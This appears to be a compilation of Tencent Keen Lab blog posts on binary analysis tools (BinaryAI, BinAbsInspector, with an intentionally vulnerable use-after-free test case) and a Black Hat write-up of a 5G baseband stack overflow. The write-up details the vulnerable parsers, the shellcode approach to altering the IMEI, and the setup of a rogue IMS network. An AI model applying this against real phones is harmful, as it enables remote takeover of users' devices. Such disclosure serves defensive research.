[1] BinDiff：https://www.zynamics.com/bindiff.html
[2] Diaphora：https://github.com/joxeankoret/diaphora
[3] DEEPBINDIFF：https://github.com/yueduan/DeepBinDiff
[4] BinaryAI示例文件

科恩自研二进制安全智能分析平台—BinaryAI带来重要功能更新：发布全新代码匹配模型BAI-2.0、准确率提升、数据集拓展及用户体验优化。体验地址：https://www.binaryai.net

科恩实验室在2021年8月首次发布二进制安全智能分析平台—BinaryAI，BinaryAI可精准高效识别二进制文件的第三方组件及其版本号，旨在推动SCA（Software Composition Analysis，软件成分分析）技术在DevSecOps、威胁情报、安全研究等应用场景发展。
BinaryAI本次发布产品重要更新，配备创新的算法模型和持续扩展的后台数据。科恩代码匹配模型BAI-2.0和配套算法引擎彻底革新了SCA的表现，配合业界领先的数据集和种种精彩新功能，BinaryAI实现了分析准确性及效率的大幅提升。

关于BinaryAI

BinaryAI对上传文件进行自动化解包、解析后，基于自研SCA算法和后台GitHub全量C/C++库的开源组件数据集，对其进行软件成分分析、函数相似性检索，以业界领先的识别准确率匹配到文件所使用的开源组件，辅助用户完成软件成分分析和恶意软件分析的安全分析工作。BinaryAI算法引擎背后是各种AI算法和经典算法，其中核心的代码匹配模型在行业内具备显著优势。
科恩实验室持续深耕智能软件安全分析研究，联合多所高校和科研院所，在信息安全、软件工程和人工智能领域的多个顶级会议上发表十余篇文章。基于科恩智能软件安全分析的研究沉淀，BinaryAI不断提升其准确分析能力。

BinaryAI更新亮点

后端模型重磅升级

科恩代码匹配模型上线BAI-2.0，顺应了AI模型开发领域向大模型演进的趋势。大模型的出现不仅促进了技术的迭代，还衍生出一批备受关注的大模型应用，如AIGC图像生成应用、ChatGPT工具等。作为领域内的先行者，科恩通过在软件成分分析领域落地应用大模型，适配了该领域的细分场景，提升了BinaryAI的召回效果。

准确率步步攀升

BinaryAI基于科恩自研的代码匹配模型BAI-2.0和复杂图的程序分析算法，对可执行文件中的二进制函数使用图算法分析，同时与AI算法相辅相成，在GitHub全量C/C++库中找到匹配的源代码函数。经过多次迭代，BinaryAI的算法引擎提升了算法的准确率，降低了误报，较上个版本更上一台阶。

亿级函数数据集持续拓展

BinaryAI已经支持全网主流开源C/C++语言项目，采集了数万代码仓库的百万级版本分支，累计百亿C/C++源代码文件特征数据，去重后包含亿级函数特征。数据能力和算法引擎使得BinaryAI的SCA能够准确定位二进制文件所使用的的开源项目的具体版本，满足查看软件成分清单的需求。数据集已经拓宽对其他开发语言的支持，共计三百多万个代码仓库，未来将支持BinaryAI在其他开发语言、应用场景发挥其成分分析能力。
BinaryAI功能更新布告｜构建全量开源项目数据集

倾听用户之声

为改善过去BinaryAI提供的插件在客户端上网络请求结果慢、交互体验不佳的问题，BinaryAI在网页平台上新增“BinaryAI函数相似性检索”导出能力，用户可以在平台上传二进制文件并浏览分析结果后，下载结果导入到IDA或Ghidra等二进制分析软件中，继续安全分析工作，这一优化将大幅提升深度分析二进制文件场景的用户体验。
此外，平台增加科恩自研腾讯云二进制软件成分分析产品—BSCA的跳转入口，用户可一键跳转体验漏洞扫描、License审计等特有功能，适用于DevSecOps 制品扫描、软件上线前安全风险识别、检查上下游供应链安全问题等应用场景。

最新功能特性展示

点击“BinaryAI函数相似性检索”，即可下载结果Json文件，获得插件的GitHub下载链接。

典型文件示例：
软件成分分析和函数识别：示例1、示例2
威胁情报（C2样本检测）：示例3
威胁情报（挖矿样本检测）：示例4

演示视频

若视频无法正常播放请点击

更多业务体验

BinaryAI的算法引擎核心能力已同步落地应用于腾讯安全多款产品：

• 腾讯云二进制软件成分分析:BSCA包月免费活动进行中
• 腾讯威胁情报 TIX:TIX
• 腾讯主机安全云镜:腾讯主机安全（云镜）兵器库：斩杀挖矿木马的利剑-BinaryAI引擎

除此之外，科恩实验室始终以积极的姿态探索软件安全领域和前沿AI结合的科研落地，推动成果转化以解决产业痛点问题。

加入用户群

微信扫码或搜索并添加“keenlab”为好友，发送“BinaryAI交流群”获得入群链接

往期回顾

[1]腾讯安全科恩实验室推出首款免费在线SCA平台：BinaryAI
[2]科恩实验室最新NeurIPS-2020论文解读：基于跨模态检索的二进制代码-源代码匹配
[3]AAAI-20论文解读：基于图神经网络的二进制代码分析

为提升静态分析在二进制文件漏洞检测领域效率和可扩展性，科恩孵化并开源二进制文件静态漏洞分析工具BinAbsInspector项目。代码仓库地址：https://github.com/KeenSecurityLab/BinAbsInspector

背景

软件漏洞检测“两板斧”

随着信息产业的发展，网络安全问题日益严峻，软件漏洞对于互联网威胁极大，是网络安全中的核心问题。为了缓解漏洞所造成的危害，需要对软件进行安全检测，尽可能地发现并消除潜在漏洞。目前常见的自动化漏洞检测手段可以分为两类：动态分析测试和静态分析。

动态分析测试方法（如fuzzing等）在过去五年里吸引了研究者的广泛关注，相关系统在工业界中已经得到了大规模的部署和应用。相比于动态方法，静态分析通常具有更高的覆盖率，然而，现阶段对于静态分析的使用多依赖于人工经验规则，且精度和效率之间尚未找到一个合适的平衡点，这导致其在现实场景中的落地不尽如人意。

静态分析工具现状

目前国际上较为成功的商业化分析工具有 Coverity[1] 、 CodeSonar[2] 、 VeraCode[3] 等，它们在代码质量保障上发挥了重要作用，相关产品也在Google等公司的DevOps流程中得到了广泛部署和使用。

包括开源及商业化产品在内，现有的静态分析方案多为源码级分析。面向源代码进行扫描，尽管可以在一定程度上满足软件安全需要，然而在真实安全场景中，待分析对象多为二进制文件，如嵌入式系统固件，商业软件等，研究人员难以获得相应的源代码，此时源码级静态分析方案不再适用。

值得一提的是，部分商业化产品（如CodeSonar等）也提供了对于二进制文件的分析能力，然而商业化路线所带来的封闭性，在很大程度上限制了普通研究者的使用和二次开发。与此同时，在开源社区中也涌现出一批知名的二进制分析工具，如 angr[4] 、 BAP[5] 、 cwe_checker[6] 。其中，angr和BAP逐渐往通用分析框架发展，并非专注于二进制漏洞扫描，因此其内部的分析算法较为庞杂，不利于进一步扩展和优化；cwe_checker的定位相对清晰，专注于安全漏洞扫描，但其精度和效率却不甚理想。目前业界亟需一种更为先进的二进制漏洞扫描工具，在开源的大前提下，其性能和可扩展性也要满足真实场景的需要。为此，科恩实验室基于自身在二进制领域丰富的研究与实践经验，同时结合业内相关优秀工具的设计理念，最终孵化出性能出色且自主可控的二进制漏洞静态扫描工具—BinAbsInspector。

原理与实现

BinAbsInspector的设计思想来源于上世纪70年代诞生的经典程序分析理论“抽象解释”，在具体实现上，BinAbsInspector的分析基于Ghidra[7]所提供的中间表示Pcode上。通过设计合适的抽象域，实现其上的多种运算，完成相关Pcode的操作语义，执行流敏感（flow-sensitive）和上下文敏感（context-sensitive）的过程间分析，同时加入静态污点分析的能力，完成对程序运行时状态的抽象估计。基于上述分析所得的抽象数据流信息对多种漏洞建模，最终实现对二进制漏洞的静态扫描。

对于程序的抽象方法，我们主要参考了经典论文《WYSINWYX: What you see is not what you eXecute》[8] 中的做法并加以改良、简化和提升。
具体来说，在BinAbsInspector中整个运行时环境被分为Local （抽象栈）、Heap（抽象堆）、Global（全局变量和数值）、Unique（对应Ghidra中产生的临时变量区）和Register（寄存器区）五种region。在这些不同的抽象区域上加上偏移数值offset，便可以组成一个抽象变量ALoc（Abstract Location/Variable）。因为在二进制程序中，变量并非全部显式表示，ALoc便是对实际程序中变量的一种估算和识别。
对应不同的程序点，需要记录此处可能存活的抽象变量和其对应的抽象值，称之为AbsEnv（Abstract Environment）。

因为是静态的抽象，那么对于一个程序点的一个抽象变量，它可能会包含多个抽象值，这些抽象值组成了一个集合。虽然这个集合可能会包含无穷多个元素，但是为了保证整个计算过程实践上可收敛，令此集合取一个上限K，这种集合称之为KSet。一旦其中包含的元素超过K，便将其变为一个Top，即包含所有抽象值。此方法与前人重要相关工作 Jakstab[9] 中的KSet较为相似。KSet支持多种算数和逻辑运算。此外每一个KSet对象也会包含一个污点的位图，用来跟踪多个污点的同时传播，从而实现静态污点分析。这样AbsEnv便可以认为是一个从ALoc到KSet的map。

由于BinAbsInspector的分析是上下文敏感的，对于被调用者的上下文 （Context），我们使用最近的call string（call site）来进行唯一标识。即对于同一个被调用者，不同的调用者会生成不同的Context，一般只记录最近的几个调用者。这样我们便把程序点处的AbsEnv记录在不同的Context中。

除此，对于过程内的不动点计算BinAbsInspector里使用了worklist算法，即把待处理的程序点不断地放入worklist中，直到其空为止。过程间分析主要在于不同的Context之间的转变，这是通过call/return指令的语义实现的。这样通过对整个程序指令的迭代计算值并加以Context的转换，Context及其附属的worklist得到逐一处理，直到所有的worklist计算结束，最后达到不动点。

通过这整个的计算过程，便会得到所有可能的Context以及对应的每个程序点的AbsEnv。这样相当于得到了一个对程序行为可靠的估算，有了这些抽象数据流的信息，我们便可以进行内存破坏漏洞、命令注入漏洞等多种漏洞的检测了。

实例演示

下面我们通过一个包含Use-After-Free漏洞的简单样例来演示BinAbsInepector的运行情况和基本原理。

漏洞原理

“CWE416_Use_After_Free__malloc_free_struct_01_bad”函数中首先调用“malloc”函数分配内存用于存放100个“twoIntsStruct”对象—>依次对这部分对象进行初始化操作—>直接释放内存—>释放内存过后再次调用了“printStructLine”函数访问已释放内存中的地址—>造成Use-After-Free漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

void CWE416_Use_After_Free__malloc_free_struct_01_bad()
{
    twoIntsStruct * data;
    /* Initialize data */
    data = NULL;
    data = (twoIntsStruct *)malloc(100*sizeof(twoIntsStruct));
    if (data == NULL) {exit(-1);}
    {
        size_t i;
        for(i = 0; i < 100; i++)
        {
            data[i].intOne = 1;
            data[i].intTwo = 2;
        }
    }
    /* POTENTIAL FLAW: Free data in the source - the bad sink attempts to use data */
    free(data);
    /* POTENTIAL FLAW: Use of data that may have been freed */
    printStructLine(&data[0]);
    /* POTENTIAL INCIDENTAL - Possible memory leak here if data was not freed */
}

int main(int argc, char * argv[])
{
    /* seed randomness */
    srand( (unsigned)time(NULL) );
    printLine("Calling bad()...");
    CWE416_Use_After_Free__malloc_free_struct_01_bad();
    printLine("Finished bad()");
    return 0;
}

安装及导入

BinAbsInspector作为Ghidra Extension的形式进行开发，构建后安装在Ghidra中，支持GUI和Headless模式运行，用户也可以通过项目中提供的Dockerfile构建docker镜像体验功能，具体使用方法见 仓库README 。在此我们以GUI模式为例介绍使用步骤。

首先将BinAbsInspector安装在Ghidra，我们将编译好的样本程序（armv7）导入Ghidra，待Ghidra的分析完成，便可以运行我们的分析了。这时会弹出工具的分析选项框，将分析过程的配置参数暂时保持默认即可。

结果展现

分析显示找到2处CWE告警，在下方命令行中会显示具体告警的地址。
标记1：触发告警的地址，即产生Use-After-Free访问的指令地址；
标记2：上下文调用记录，可以理解为函数的调用栈；

分析溯源

双击命令行中的告警地址可以在汇编窗口跳转到对应的指令，另外右边的反编译窗口也将同步展示对应的伪代码，可以看到两条告警的指令都位于“printStructLine” 函数的内部，都是访问已释放内存的LDR指令，结果符合预期。

原理上简而言之，在第6行“malloc”处创建了一个Heap region，data的抽象值为此Heap及偏移值0，这一信息被加入当前的AbsEnv中并继续向后传播，经过第17行的“free”，data的抽象值数值保持不变，其中的Heap region变成了一个相同数值但是为无效状态的新region，当前的AbsEnv也会同步更新这一变化并将这一改动向后传播，最后在19行“printStructLine”内部的LDR指令时，通过查询传播到此的AbsEnv，检测到data指向的是一个无效的Heap region，这样便可以查找出这个Use-After-Free的问题。

性能评估

我们选取 Juliet[10] 这一较为权威的测试集，在x86、x64、armv7三个架构上进行测试，并与cwe_checker测试结果进行对照比较。 另外，BinAbsInspector也支持对aarch64架构样本的检测，这是cwe_checker目前不支持的。
下面表格展示的是在CWE415 (Double-Free)， CWE416 (Use-After-Free)，CWE476 (Null Poionter Deference), CWE78 (Command Injection) 4种核心漏洞检测能力与cwe_checker的对比结果。
结果表明，BinAbsInspector的测试结果在所支持的CWE类型上均取得较大幅度优势。

(BAI: BinAbsInspector, CC: cwe_checker, TP: True Positive正阳性, FP: False Positive假阳性, TN: True Negative正阴性, FN: False Negative假阴性)

总结

迄今成果

科恩在二进制安全研究领域有着深厚积累，其中二进制软件成分分析平台 BinaryAI[11] 已免费开放，推动软件成分分析在DevSecOps、安全研究等场景的应用与发展。

在二进制静态分析方向，科恩孵化高效、准确的自动化二进制文件静态漏洞分析工具BinAbsInspector。经过内部应用实践及优化，BinAbsInspector已达到了较好的完成度。

步履不停

BinAbsInspector未来将持续打磨算法及工程上的可提高之处，结合科恩二进制分析、算法等能力输出，赋能更多软件相关从业者，助力提升整体代码安全防治效率。关于更多的技术细节和代码实现，请移步我们的 开源仓库 。欢迎所有感兴趣的小伙伴一起参与协同开发，在实践中迭代优化，打造更优秀的二进制漏洞静态分析利器!

引用

[1]https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html
[2]https://www.grammatech.com/products/source-code-analysis
[3]https://www.veracode.com/
[4]https://angr.io/
[5]https://github.com/BinaryAnalysisPlatform/bap/
[6]https://github.com/fkie-cad/cwe_checker/
[7]https://ghidra-sre.org/
[8]Gogul Balakrishnan and Thomas Reps. 2010.《 WYSINWYX: What you see is not what you eXecute.》 ACM Trans. Program. Lang. Syst. 32, 6, Article 23 (August 2010), 84 pages https://dl.acm.org/doi/pdf/10.1145/1749608.1749612
[9]http://www.jakstab.org/
[10]https://samate.nist.gov/SRD/testsuite.php
[11]https://www.binaryai.net/

RSoC

2021年3月，由腾讯安全科恩实验室与国际二进制开源逆向工程框架Rizin联合举办的一场开源程序设计项目—Rizin Summer of Code 2021 正式开启报名申请。
报名申请回顾：RSoC-科恩编程之夏申请通道正式开启

7月初，RSoC最终参与者来到科恩实验室进行项目沟通规划，8月20日，在经过参与者们逐步项目推进后，RSoC落下帷幕。
参与RSoC的高校同学与Rizin核心成员Anton@akochkov以及科恩实验室研究员深度协作交流，以国际开源逆向工程框架Rizin为研究主体，在科恩实验室感受了别样的代码之夏。

Rizin

Rizin是项类Unix的逆向工程框架和命令行工具集，是来自世界各地的优秀编程极客的思想结晶，由国际知名免费开源逆向工程框架Radare2提取分支而来。Rizin持有二进制文件分析，反汇编代码，调试程序…等等功能。

RSoC参与者结项总结

Heersin:

在这个暑假，我的项目内容是实现一个对IL相关的bug进行修复和重构，以及为Rizin实现一个基于位向量运算的中间语言支持。目是为了Rizin日后能在此基础上运用一些分析技术。通过这样次实践，我对开源项目的协作有了更深刻的体会，也拓展了我对这一领域的认识。于我而言，我借助这次rsoc接触到了不少与反编译相关的知识，这也是一个了解相关研究和技术实践的切入点。部分解决了我的一个疑惑：一个大型项目是如何组织和管理的。
科恩的氛围特别好，大家都对安全技术很有热情且大佬们很多，我在这里学到了不少东西。值得一提的是，科恩给我的感觉是一个很注意成员直接沟通的团队，大家能为了同一个目标去工作，在这样的团队里工作很愉快。

Basstorm:

七月初，我怀着紧张又激动的心情，开始了科恩实习与RSoC 2021之旅。我在RSoC 2021中的主要任务是Type相关的工作。
在第一周，我与Anton合作修复了新的Type Parser中的一些bug，推进了项目的总体进程。之后，我相继完成了迁移Type Constraints、添加对Global variable的支持、重构PDB parser等工作。
在这一个多月的工作过程中，我感受到了社区成员间的良好氛围，社区成员都很乐于助人，有问必答，也许这就是开源社区的魅力，大家互帮互助，共同朝着一个美好的目标前进。同时，这一个多月我也是收获满满，不仅收获了相应的开发经验与能力，更锻炼了我适应环境的能力，还认识了一些志同道合的朋友。

在科恩实习期间，我感受到了科恩实验室的开放协作、朝气蓬勃的工作氛围，这里都是技术大牛，我也从中学到了不少实用的经验技巧。除此之外，科恩的格言“追求极致、主动担当”也激励着我不畏艰难，砥砺前进。祝愿RSoC可以长久的办下去，也祝愿Rizin和科恩实验室越来越好！

科恩秋招/实习生招聘攻略

简历投递入口：腾讯招聘官网→ 实习生招聘/校园招聘
岗位类别：技术类→ 安全技术
意向事业群及部门：CSIG事业群→腾讯安全
注 请在自我评价处填写 “意向部门科恩实验室+你的意向岗位”
岗位参考：招聘推文

科恩期待与你探索安全技术更多可能~

8月11日，腾讯安全科恩实验室正式发布在线软件成分分析平台——BinaryAI，第一次将软件成分分析（Software Composition Analysis，SCA）技术推广到日常安全研究。
伴随着开源软件的迅速成长，应用软件中使用开源代码的比重逐年持续增长。然而，开源代码中的安全问题也让软件市场面临软件供应链安全的挑战。

BinaryAI闪亮登场

基于软件安全和人工智能领域的多年研究经验，科恩实验室积极布局软件成分分析方向，已落地并助力厂商修复软件安全问题，现在首次将SCA能力以平台型产品BinaryAI免费开放给用户，旨在推动软件成分分析在DevSecOps、安全研究等场景应用发展。

BinaryAI是二进制文件SCA的智能分析平台，自动化完成文件解析到输出分析结果全部使用环节，帮助研究人员高效实现SCA线上检查的需求。

专注二进制SCA

开源代码安全问题不仅存在于源代码，在构建过程中也会引入问题，因此构建阶段的二进制产物有必要进行SCA分析。使用BinaryAI可以确认软件所使用的第三方组件及具体版本号，及时发现引入的问题第三方库，便于研发团队跟进修复。

文件类型全面覆盖

用户可以打开BinaryAI官网，上传待分析文件获取SCA功能，现已支持200M以下常见CPU架构的可执行文件及包格式文件的检测。BinaryAI实现智能化文件解包或解析、软件成分分析等分析流程。

后台数据资源丰富

经过长期积累，BinaryAI后台具备10000余种第三方组件数据，内容覆盖组件基本信息、开源许可证使用情况等信息，能够全面提升软件成分分析的检测水平，并在持续不断扩大支持范围中。现在向用户开放的信息为组件的基本信息。

SCA检测能力强

科恩实验室在近年发表了《Order Matters: Semantic-Aware Neural Networks for Binary Code Similarity Detection》、《CodeCMR: Cross-Modal Retrieval For Function-Level Binary Source Code Matching》等论文，在传统安全研究中利用AI算法解决二进制程序函数相似性分析和二进制代码/源代码端到端匹配问题，奠定了软件成分分析的算法基础。BinaryAI通过科恩自研的SCA算法，可以实现组件以及版本号高准确率匹配。

用户体验优先

基于上述能力，BinaryAI提供了网页版的使用途径。用户无需部署服务器，无需上传源代码文件，直接上传待分析的二进制文件，无需指定分析器，输出简洁、可读性高的报告，赋能用户开展安全分析。

福利

访问BinaryAI 开始体验SCA技术吧!
填写使用反馈问卷，科恩将于8月18日抽取幸运儿送上腾讯视频季卡~优质反馈更有腾讯视频年卡赠送!

微信扫描二维码加入产品交流群或微信搜索添加“keenlab”为好友发送“BinaryAI交流群”获取入群链接。

微信搜索并关注腾讯安全科恩实验室官方公众号获得BinaryAI更多动态。

BinaryAI介绍视频

近年来，5G蜂窝网络被广泛应用。设备为了加入5G网络，都必须配备一个5G调制解调器，负责调制信号和执行无线电协议。该组件通常也被称为基带。这些组件非常重要，因为它们负责处理来自无线电网络的不可信数据。
在之前的工作中，科恩实验室研究了上一代网络（2G 3G 4G）的安全调制解调器，并实现了远程无接触的0-click代码执行。
本次Black Hat USA 2021，科恩实验室成员Marco与Xingyu Chen在北京时间8月5日凌晨以线上形式分享了议题《基带利用：远程5G智能手机代码执行》。该议题探讨了5G网络发生的变化以及安全性方面的改进，并证明了仍然有可能通过无线的方式攻击5G调制解调器完成远程代码执行。

议题完整白皮书下载见文末

作者简介

Marco：
腾讯科恩实验室高级研究员，研究涉猎iOS、Safari、VMWare、基带等多个方向，多次作为核心成员参与Pwn2Own、Mobile Pwn2Own并获得冠军，多次在国际安全会议上进行演讲，包括Black Hat USA, DEF CON, CanSecWest, ZeroNights, Codegate, HITB and ShakaCon等。

Xingyu Chen：
腾讯科恩实验室安全研究员。主要研究虚拟化和移动安全，曾在不同的云产品和智能手机的低级固件中发现了许多关键漏洞。曾作为A*0*E联合战队选手参加多场CTF比赛，也是DEF CON 28 CTF 决赛总冠军队伍成员。多次在国内外安全会议上进行演讲，包括OffensiveCon、Zer0Con和Tensec等。

议题解读

1.背景

多年来，5G网络和基带的安全问题一直没有得到全面的讨论。我们之前的工作是研究老一代网络的安全性，并研究了市面上多款调制解调器的实现，安全研究员Amat Cama也发表了一项关于老一代网络的研究，展示了如何在pwn2own竞赛上成功地攻破三星Shannon基带。来自Comsecuris的研究分析了三星和英特尔基带的安全性。
建议读者将上述这些研究作为理解和熟悉本文的参考。我们也将对研究背景和5G网络的新概念进行简单描述。

2.目标介绍

我们购买了当时可用的几款5G智能手机，他们都支持5G中的“New Radio”。
5G设备区分：

• 非独立模式（NSA）：该模式使用了5G新无线电，并利用了4G网络的其他组件。
• 独立模式（SA）：该模式完全实现并使用了5G New Radio和5G网络规范。由于我们认为未来将使用独立模式（SA）作为标准，因此我们决定专注于该模式的研究。
  我们的测试设备的SoC为Exynos 980并具有三星Shannon基带。
  基带在其自己的ARM Cortex内核上运行自己的固件和RTOS，与运行Android操作系统的应用处理器 (AP) 分开。 AP和基带可以例如通过PCI-e、共享内存或其他方式进行通信。我们从设备的OTA包中恢复了基带固件。基带固件位于modem.bin二进制文件中。解压并找到加载地址后，我们可以在IDA Pro中加载它并开始寻找漏洞。

3.审计范围和漏洞挖掘

经过一段时间的5G相关代码审计，我们发现了多处漏洞，在此我们选择了其中最稳定的一个来分享，希望您也会通过它对基带当前的安全状态有所认识。在审计调制解调器固件时，我们发现它仍然缺少Stack cookie保护。因此，考虑到在这种环境中缺乏调试功能，使用传统的栈溢出将使我们的利用更容易。
本文选择的bug是一个栈溢出。它不仅是栈溢出，而且是基带内部XML解析器中的栈溢出。此 XML解析器负责解析从网络到设备调制解调器的IMS消息。

3.1 攻击背景

IMS是4G和5G网络中的专用架构，常用的语音呼叫建立在其之上，稍后我们将看到为什么这对本研究很重要。基带是一个IMS客户端，负责处理VoLTE、VoNR消息，因此它必须能够处理SIP消息，IMS服务器使用这些消息与基带进行通信。
白皮书内查看INVITE消息示例
SIP 是一种基于文本的类似HTTP的协议，包括标头和内容。 接收方（在本文中为基带）需要解析来自服务器的消息。对于不同的消息，内容不仅可以是键值对，还可以是XML格式的文本。XML是一种复杂得多的数据格式，通常由专用库处理。 以上都为基带引入了一个新的攻击面。

3.2 漏洞

我们的OTA RCE漏洞在基带的IMS模块。 在解析SIP协议消息的XML内容时，它会调用函数IMSPL_XmlGetNextTagName 。
由于我们的目标基带没有调试符号或信息，所以所有的函数名称、类型和函数签名，都是从日志字符串中提取，或是通过逆向工程手动恢复。
我们在这里提供了一个反编译版本，其中省略了一些代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

int IMSPL_XmlGetNextTagName(char *src, char *dst) {
    // 1. Skip space characters
    // 2. Find the beginning mark '<'
    // 3. Skip comments and closing tag
    // omitted code
    find_tag_end((char **)v13);
    v9 = v13[0];
    if (v8 != v13[0]) {
        memcpy(dst, (int *)((char *)ptr + 1), v13[0] - v8); // copy tag name to dst
        dst[v9 - v8] = 0;
        v12 = 10601;
        // IMSPL_XmlGetNextTagName: Tag name =
        v11 = &log_struct_437f227c;
        Logs((int *)&v11, (int)dst, -1, -20071784);
        *(unsigned __int8 **)src = v13[0];
        LOBYTE(result) = 1;
        return (unsigned __int8)result;
    }
    // omitted code
}

此函数将从src解析XML标记并将其名称复制到dst ，例如<meta name="viewport" content="width=device-width, initial-scale=1">到目标缓冲区。接下来，我们展示反编译函数find_tag_end（手动命名）并解释它是如何工作的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

char **find_tag_end(char **result) {
    char *i;               // r1
    unsigned int v2;       // r3
    unsigned int cur_char; // r3

    for (i = *result;; ++i) {
        cur_char = (unsigned __int8)*i;
        if (cur_char <= 0xD && ((1 << cur_char) & 0x2601) != 0) // \0 \t \n \r
            break;
        v2 = cur_char - 32;
        if (v2 <= 0x1F &&
            ((1 << v2) & (unsigned int)&unk_C0008001) != 0) // space / > ?
            break;
    }
    *result = i;
    return result;
}

该函数通过跳过特殊字符来查找标签的结尾，例如空格、‘/’、‘>’、‘?’。在了解整个功能的工作原理后，我们注意到根本没有安全检查。该函数不知道目标缓冲区和源缓冲区有多长。 因此，该函数的所有调用者都可能被传统的缓冲区溢出所利用。通过交叉引用函数IMSPL_XmlGetNextTagName,我们发现了数百个调用位置。
它们中的大多数都容易受到攻击，因为源缓冲区是从OTA 消息中获取的，完全由攻击者控制。

4. Exploit

我们选择栈溢出是为了漏洞利用的便捷和可靠。正如我们之前所说，由于没有栈cookie，所以我们可以简单地溢出缓冲区，控制存储在栈上的返回地址，并获得代码执行。
我们终于通过逆向工程找到了一个很好的候选者：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

int IMSPL_XmlParser_ContactLstDecode(int *a1, int *a2) {
    unsigned __int8 *v4; // r0
    int v5;              // r1
    log_info_s *v7;      // [sp+0h] [bp-98h] BYREF
    int v8;              // [sp+4h] [bp-94h]
    unsigned __int8 *v9; // [sp+8h] [bp-90h] BYREF
    int v10;             // [sp+Ch] [bp-8Ch] BYREF
    char v11[136];       // [sp+10h] [bp-88h] BYREF

    bzero(v11, 100);
    v10 = 0;
    v4 = (unsigned __int8 *)*a1;
    v8 = 10597;
    v9 = v4;
    // ------------------%s----------------------
    v7 = &log_struct_4380937c;
    log_0x418ffa6c(&v7, "IMSPL_XmlParser_ContactLstDecode", -20071784);
    if (IMSPL_XmlGetNextTagName((char *)&v9, v11) != 1) {
    LABEL_8:
        *a1 = (int)v9;
        v8 = 10597;
        // Function END
        v7 = &log_struct_43809448;
        log_0x418ffa6c(&v7, -20071784);
        return 1;
    }
    // omitted code
}

我们可以很容易地确认变量v11是栈上大小为100的缓冲区。潜在的栈溢出可能发生在这里。 在临近的函数中也能发现类似的问题，例如IMSPL_XmlParser_RegLstDecode，IMSPL_XmlParser_ContElemChildNodeDecode。根据函数名，我们可以推断触发的标签应该在元素Contact List内。通过向上交叉引用函数来总结调用栈并不困难。

1

IMSPL_XmlParser_RegInfoDecode --> IMSPL_XmlParser_RegInfoElemDecode --> IMSPL_XmlParser_RegLstDecode --> IMSPL_XmlParser_RegistrationElemDecode --> IMSPL_XmlParser_ContactLstDecode

这些函数名称很容易理解。我们可以分辨出变异的payload可以通过SIP协议中的NOTIFY消息传递。 一个能让基带崩溃的简单PoC可以从普通的NOTIFY消息构造。
由于payload是以XML格式发送，因此对payload存在限制。
记得上面提到的find_tag_end函数，它会将标签名中的以下字符列入黑名单："\x00\x09\x0a\x0d\x20\x2f\x3e\x3f"。 因此，在编写ROP链和shellcode时我们不能使用所有可用的字符。除此之外，剩下的是ARM平台上的传统pwnable挑战。

4.1 Exploitation Payload

白皮书内查看详细PoC
利用点为函数IMSPL_XmlParser_RegLstDecode，为了避免在 ROP 执行后修复栈帧，并能让基带仍然正常工作，最好选择一个较深的地方来触发栈溢出。 所以registration中的一个元素标签是个不错的选择。
payload结构：

4.2 漏洞利用的可视化演示

为了验证我们是否在目标设备上获得了RCE,我们可以检查手机的ADB日志。它将显示有关蜂窝处理器(CP)如何崩溃的信息。然而，这既不是一种方便的方式，也不是一种很好的视觉效果。因此，我们选择通过在基带内执行shellcode来修改设备的IMEI。按照设计,IMEI不应在手机分发后进行修改。当我们报告整个利用链时，这也被视为一个bug。NVRAM是Non Volatile Memory，用于存储与基带相关的持久化信息。IMEI是存储在基带NVRAM中的一项，但是要修改它的值，首先要知道它的索引。
白皮书内查看IMSSH_GetImei函数示例
基带中有多个地方调用函数获取IMEI。可以通过逆向函数GetImei来检索索引。在我们的例子中，IMEI1/2的索引分别是0x39a4/0x39a5。有了索引，我们就可以通过在shellcode中调用API pal_RegItemWrite_File 来修改IMEI。

5.执行

5.1 环境配置

要触发这个 bug，我们需要先搭建一个提供 IMS 服务的网络，然后向基带发送格式错误的短信。 我们的测试环境至少需要一个LTE网络。 虽然它在技术上是一个影响4G和5G的漏洞，但在2020年初，5G的基础设施还没有成熟到足以支持像我们这样的独立研究人员测试其安全性。因此我们决定建立一个支持VoLTE的LTE网络来测试设备。

5.1.1 SDR Choice

作为设置基站的首选硬件，我们选择了Ettus USRP B210，这是一种在研究人员中非常流行的SDR无线电设备。

5.1.2 LTE network setup

我们使用了大量开源组件和硬件来完成我们的测试，以下是一些较为重要的:

• srsENB: 这是srsLTE中的eNodeB实现。 它负责直接无线连接到移动手机(UE)。
• Open5GS：我们在LTE网络中使用了它的EPC实现。它们是hss、mme、pcrf、pgw、sgw。
• sysmo-usim-tool&pysim：SIM卡编程工具。
• CoIMS&CoIMS_Wiki：修改手机IMS设置的工具。
• docker_open5gs：用于在docker容器中运行具有VoLTE支持的open5gs。

UE能够在适当的LTE网络设置后连接到网络，然后我们可以继续进行IMS服务器设置。在我们的测试中，几乎所有不同厂商的基带对eNodeB的频率都非常敏感。您可以查看设备官方信息以获取其支持的频段，然后为srsENB选择合适的Downlink EARFCN参数。

5.2 IMS server setup & hack

由于该漏洞只能由提供VoIP服务的恶意IMS服务器触发，因此基本的LTE网络不足以触发该漏洞。不幸的是，满足这种需求的基础设施还远未成熟。现有的开源项目Kamailio满足了我们的需求，但还没有在各种设备（包括我们使用的）上进行很好的测试。 需要付出巨大的努力才能使其工作并成功发送有效payload。
VoLTE服务器的基本组件是Rtpengine、FHOSS、P-CSCF、I-CSCF和S-CSCF。 以下是网络拓扑：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

SUBNET=172.18.0.0/24
HSS_IP=172.18.0.2
MME_IP=172.18.0.3
SGW_IP=172.18.0.4
PGW_IP=172.18.0.5
PCRF_IP=172.18.0.6
ENB_IP=172.18.0.7
DNS_IP=172.18.0.10
MONGO_IP=172.18.0.11
PCSCF_IP=172.18.0.12
ICSCF_IP=172.18.0.13
SCSCF_IP=172.18.0.14
FHOSS_IP=172.18.0.15
MYSQL_IP=172.18.0.17
RTPENGINE_IP=172.18.0.18

IMS(SIP)消息通过TCP或UDP套接字以IP数据的形式承载。因此,客户端会首先选择IPSec来进行消息传输。XML payload只能通过NOTIFY消息携带，因此我们的客户端必须成功REGISTER和SUBSCRIBE。

